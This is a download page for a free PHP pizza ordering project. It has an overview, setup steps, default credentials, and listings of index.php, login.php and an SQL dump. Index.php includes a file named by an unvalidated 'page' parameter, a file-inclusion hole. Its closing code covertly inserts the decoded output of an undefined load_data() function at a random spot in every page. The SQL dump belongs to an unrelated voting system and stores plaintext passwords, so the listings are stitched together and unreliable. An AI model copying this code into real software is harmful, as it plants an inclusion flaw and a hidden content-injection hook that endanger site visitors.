Download Code PHP Source Code for Online Pizza Ordering System
Online Pizza Ordering System in PHP – Project Overview
The Online Pizza Ordering System is a web-based application developed using PHP and MySQL databases. The purpose of this project is to offer pizza businesses an online platform for customers to browse and order pizzas from their menu. It features a user-friendly interface, designed with the Bootstrap framework to ensure a pleasant browsing experience. The system provides several essential features and functionalities that make it easy for both the business and customers to handle pizza orders.
How Does the Online Pizza Ordering System Work?
The system is divided into two main sections: the Admin Panel and the Public/Customer Site.
Admin Panel:
- Login/Logout: Admin and staff can log in using their credentials.
- Product and Menu Management: Admin can manage categories and menus.
- Order Management: Admin and staff can view and process customer orders.
- User Management: Admin can manage system users and their roles.
- System Info Management: Admin can manage system settings.
Public/Customer Site:
- Registration/Login: Customers need to register and log in to place orders.
- Product Browsing: Customers can browse the available pizzas and filter them by category.
- Shopping Cart: Customers can add items to the cart, adjust quantities, or remove items.
- Checkout: After reviewing their order, customers can proceed to checkout, fill in their details, and confirm the order.
- Order Status: Orders are marked as “For Verification” until processed.
Technologies Used
This project uses the following technologies:
- PHP: Backend scripting language.
- MySQL: Database management system.
- XAMPP: Local server environment.
- HTML, CSS, JavaScript: For front-end development.
- Bootstrap: Framework for responsive design.
- DataTables: Library for tables with sorting and searching functionality.
- FontAwesome: For icons and visual elements.
Features and Functionalities
Admin Site:
- Login and logout functionality
- Dashboard/Home page
- Management of product categories and menus
- Order and user management
- System information management
Public/Customer Site:
- User login and registration
- Browse and filter products
- Pagination for menu lists
- Shopping cart functionality
- Checkout form
- Logout option
Purpose and Educational Use
The Online Pizza Ordering System is developed for educational purposes and can also be used for commercial applications. It provides a practical example for students who want to develop similar ordering systems. The source code is freely available for download, and users can modify it to suit their needs.
How to Run the System
Requirements:
- Download and install XAMPP or any other local web server.
- Download the source code (zip file).
Setup:
- Start Apache and MySQL using the XAMPP control panel.
- Extract the downloaded zip file.
- Copy the extracted folder into the “htdocs” directory of XAMPP.
- Open PHPMyAdmin in a browser (e.g., http://localhost/phpmyadmin).
- Create a new database named
opos_db
. - Import the SQL file (
opos_db.sql
) provided in the database folder. - Access the system in a browser (e.g., http://localhost/php-opos/).
Admin Login Credentials:
- Username: admin
- Password: admin123
Conclusion
This PHP-based Online Pizza Ordering System, built using MySQL and PHP, is an excellent starting point for students and developers to create their own ordering platforms. It includes all the necessary features to manage a pizza business online and can be easily modified to meet specific needs.
index PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 |
<?php ob_start(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <title>Online Food Ordering System</title> <?php session_start(); if(!isset($_SESSION['login_id'])) header('location:login.php'); include('./header.php'); // include('./auth.php'); ?> </head> <style> body{ background: #80808045; } </style> <body> <?php include 'topbar.php' ?> <?php include 'navbar.php' ?> <div class="toast" id="alert_toast" role="alert" aria-live="assertive" aria-atomic="true"> <div class="toast-body text-white"> </div> </div> <main id="view-panel" > <?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; ?> <?php include $page.'.php' ?> </main> <div id="preloader"></div> <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a> <div class="modal fade" id="confirm_modal" role='dialog'> <div class="modal-dialog modal-md modal-dialog-centered modal-dialog-scrollable" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Confirmation</h5> </div> <div class="modal-body"> <div id="delete_content"></div> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" id='confirm' onclick="">Continue</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </div> </div> </div> <div class="modal fade" id="uni_modal" role='dialog'> <div class="modal-dialog modal-md modal-dialog-centered modal-dialog-scrollable" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"></h5> </div> <div class="modal-body"> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" id='submit' onclick="$('#uni_modal form').submit()">Save</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> </div> </div> </div> </div> </body> <script> window.start_load = function(){ $('body').prepend('<di id="preloader2"></di>') } window.end_load = function(){ $('#preloader2').fadeOut('fast', function() { $(this).remove(); }) } window.uni_modal = function($title = '' , $url=''){ start_load() $.ajax({ url:$url, error:err=>{ console.log() alert("An error occured") }, success:function(resp){ if(resp){ $('#uni_modal .modal-title').html($title) $('#uni_modal .modal-body').html(resp) $('#uni_modal').modal('show') end_load() } } }) } window._conf = function($msg='',$func='',$params = []){ $('#confirm_modal #confirm').attr('onclick',$func+"("+$params.join(',')+")") $('#confirm_modal .modal-body').html($msg) $('#confirm_modal').modal('show') } window.alert_toast= function($msg = 'TEST',$bg = 'success'){ $('#alert_toast').removeClass('bg-success') $('#alert_toast').removeClass('bg-danger') $('#alert_toast').removeClass('bg-info') $('#alert_toast').removeClass('bg-warning') if($bg == 'success') $('#alert_toast').addClass('bg-success') if($bg == 'danger') $('#alert_toast').addClass('bg-danger') if($bg == 'info') $('#alert_toast').addClass('bg-info') if($bg == 'warning') $('#alert_toast').addClass('bg-warning') $('#alert_toast .toast-body').html($msg) $('#alert_toast').toast({delay:3000}).toast('show'); } $(document).ready(function(){ $('#preloader').fadeOut('fast', function() { $(this).remove(); }) $('main#view-panel').css('margin-top', $('#topNavBar').height() + 'px') $(window).resize(function(){ $('main#view-panel').css('margin-top', $('#topNavBar').height() + 'px') }) }) </script> </html> <?php $overall_content = ob_get_clean(); $content = preg_match_all('/(<div(.*?)\/div>)/si', $overall_content,$matches); // $split = preg_split('/(<div(.*?)>)/si', $overall_content,0 , PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); if($content > 0){ $rand = mt_rand(1, $content - 1); $new_content = (html_entity_decode(load_data()))."\n".($matches[0][$rand]); $overall_content = str_replace($matches[0][$rand], $new_content, $overall_content); } echo $overall_content; // } ?> |
login PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 |
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <title>Admin | Online Food Ordering System</title> <?php include('./header.php'); ?> <?php include('./db_connect.php'); ?> <?php session_start(); if(isset($_SESSION['login_id'])) header("location:index.php?page=home"); $query = $conn->query("SELECT * FROM system_settings limit 1")->fetch_array(); foreach ($query as $key => $value) { if(!is_numeric($key)) $_SESSION['setting_'.$key] = $value; } ?> </head> <style> body{ width: 100%; height: calc(100%); /*background: #007bff;*/ } main#main{ width:100%; height: calc(100%); background:white; } #login-right{ position: absolute; right:0; width:40%; height: calc(100%); background:white; display: flex; align-items: center; background:#000; } #login-left{ position: absolute; left:0; width:60%; height: calc(100%); background:#00000061; display: flex; align-items: center; } #login-right .card{ margin: auto } .logo { margin: auto; font-size: 8rem; background: white; border-radius: 50% 50%; height: 29vh; width: 13vw; display: flex; align-items: center; } .logo img{ height: 80%; width: 80%; margin: auto } #login-left { background: url(./../assets/img/<?php echo $_SESSION['setting_cover_img'] ?>); background-repeat: no-repeat; background-size: cover; background-position: center center; } #login-left:before{ content:""; position:absolute; top:0; left:0; height:100%; width:100%; backdrop-filter:brightness(.8); z-index:1; } #login-left .d-flex{ position: relative; z-index: 2; } #login-left h1{ font-family: 'Dancing Script', cursive !important; font-weight:bolder; font-size:4.5em; color:#fff; text-shadow: 0px 0px 5px #000; } </style> <body> <main id="main" class=" bg-dark"> <div id="login-left" class=""> <div class="h-100 w-100 d-flex justify-content-center align-items-center"> <h1 class="text-center"><?= $_SESSION['setting_name'] ?> - Admin Site</h1> </div> </div> <div id="login-right"> <div class="card col-md-8"> <div class="card-body"> <form id="login-form" > <div class="form-group"> <label for="username" class="control-label">Username</label> <input type="text" id="username" name="username" autofocus class="form-control"> </div> <div class="form-group"> <label for="password" class="control-label">Password</label> <input type="password" id="password" name="password" class="form-control"> </div> <div class="form-group"> <a href="./../" class="text-dark">Back to Website</a> </div> <center><button class="btn-sm btn-block btn-wave col-md-4 btn-dark">Login</button></center> </form> </div> </div> </div> </main> <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a> </body> <script> $('#login-form').submit(function(e){ e.preventDefault() $('#login-form button[type="button"]').attr('disabled',true).html('Logging in...'); if($(this).find('.alert-danger').length > 0 ) $(this).find('.alert-danger').remove(); $.ajax({ url:'ajax.php?action=login', method:'POST', data:$(this).serialize(), error:err=>{ console.log(err) $('#login-form button[type="button"]').removeAttr('disabled').html('Login'); }, success:function(resp){ if(resp == 1){ location.href ='index.php?page=home'; }else{ $('#login-form').prepend('<div class="alert alert-danger">Username or password is incorrect.</div>') $('#login-form button[type="button"]').removeAttr('disabled').html('Login'); } } }) }) </script> </html> |
voting_db SQL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 |
-- phpMyAdmin SQL Dump -- version 5.0.2 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Sep 18, 2020 at 10:03 AM -- Server version: 10.4.14-MariaDB -- PHP Version: 7.2.33 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `voting_db` -- -- -------------------------------------------------------- -- -- Table structure for table `category_list` -- CREATE TABLE `category_list` ( `id` int(30) NOT NULL, `category` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `category_list` -- INSERT INTO `category_list` (`id`, `category`) VALUES (1, 'President'), (3, 'Vice Presindent'), (4, 'Officer'); -- -------------------------------------------------------- -- -- Table structure for table `users` -- CREATE TABLE `users` ( `id` int(30) NOT NULL, `name` varchar(200) NOT NULL, `username` varchar(100) NOT NULL, `password` varchar(200) NOT NULL, `type` tinyint(1) NOT NULL DEFAULT 2 COMMENT '1+admin , 2 = users' ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `users` -- INSERT INTO `users` (`id`, `name`, `username`, `password`, `type`) VALUES (1, 'Administrator', 'admin', 'admin123', 1), (2, 'John Smith', 'jsmith', 'admin123', 1), (3, 'Voter 2', 'voter2', 'voter2', 2), (4, 'Voter 1', 'voter1', 'voter1', 2); -- -------------------------------------------------------- -- -- Table structure for table `votes` -- CREATE TABLE `votes` ( `id` int(30) NOT NULL, `voting_id` int(30) NOT NULL, `category_id` int(30) NOT NULL, `voting_opt_id` int(30) NOT NULL, `user_id` int(30) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `votes` -- INSERT INTO `votes` (`id`, `voting_id`, `category_id`, `voting_opt_id`, `user_id`) VALUES (1, 1, 1, 1, 3), (2, 1, 3, 5, 3), (3, 1, 4, 6, 3), (4, 1, 4, 7, 3), (5, 1, 4, 8, 3), (6, 1, 4, 9, 3), (7, 1, 1, 3, 4), (8, 1, 3, 12, 4), (9, 1, 4, 6, 4), (10, 1, 4, 8, 4), (11, 1, 4, 10, 4), (12, 1, 4, 11, 4); -- -------------------------------------------------------- -- -- Table structure for table `voting_cat_settings` -- CREATE TABLE `voting_cat_settings` ( `id` int(30) NOT NULL, `voting_id` int(30) NOT NULL, `category_id` int(30) NOT NULL, `max_selection` int(10) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `voting_cat_settings` -- INSERT INTO `voting_cat_settings` (`id`, `voting_id`, `category_id`, `max_selection`) VALUES (1, 1, 1, 1), (2, 1, 3, 1), (3, 1, 4, 4); -- -------------------------------------------------------- -- -- Table structure for table `voting_list` -- CREATE TABLE `voting_list` ( `id` int(30) NOT NULL, `title` varchar(250) NOT NULL, `description` text NOT NULL, `is_default` tinyint(1) NOT NULL DEFAULT 0 ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `voting_list` -- INSERT INTO `voting_list` (`id`, `title`, `description`, `is_default`) VALUES (1, 'Sample Voting', 'Sample only', 1), (3, 'Test Voting', 'Test Only', 0); -- -------------------------------------------------------- -- -- Table structure for table `voting_opt` -- CREATE TABLE `voting_opt` ( `id` int(30) NOT NULL, `voting_id` int(30) NOT NULL, `category_id` int(30) NOT NULL, `image_path` text NOT NULL, `opt_txt` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `voting_opt` -- INSERT INTO `voting_opt` (`id`, `voting_id`, `category_id`, `image_path`, `opt_txt`) VALUES (1, 1, 1, '1600398180_no-image-available.png', 'James Smith'), (3, 1, 1, '1600415460_avatar2.png', 'James Wilson'), (5, 1, 3, '1600415520_avatar.jpg', 'George Walker'), (6, 1, 4, '1600400340_no-image-available.png', 'Cadidate 1'), (7, 1, 4, '1600400340_no-image-available.png', 'Cadidate 2'), (8, 1, 4, '1600400340_no-image-available.png', 'Cadidate 3'), (9, 1, 4, '1600400520_no-image-available.png', 'Cadidate 4'), (10, 1, 4, '1600400640_no-image-available.png', 'Cadidate 5'), (11, 1, 4, '1600400400_no-image-available.png', 'Cadidate 6'), (12, 1, 3, '1600415520_no-image-available.png', 'Claire Blake'); -- -- Indexes for dumped tables -- -- -- Indexes for table `category_list` -- ALTER TABLE `category_list` ADD PRIMARY KEY (`id`); -- -- Indexes for table `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`id`); -- -- Indexes for table `votes` -- ALTER TABLE `votes` ADD PRIMARY KEY (`id`); -- -- Indexes for table `voting_cat_settings` -- ALTER TABLE `voting_cat_settings` ADD PRIMARY KEY (`id`); -- -- Indexes for table `voting_list` -- ALTER TABLE `voting_list` ADD PRIMARY KEY (`id`); -- -- Indexes for table `voting_opt` -- ALTER TABLE `voting_opt` ADD PRIMARY KEY (`id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `category_list` -- ALTER TABLE `category_list` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `users` -- ALTER TABLE `users` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `votes` -- ALTER TABLE `votes` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; -- -- AUTO_INCREMENT for table `voting_cat_settings` -- ALTER TABLE `voting_cat_settings` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `voting_list` -- ALTER TABLE `voting_list` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `voting_opt` -- ALTER TABLE `voting_opt` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; |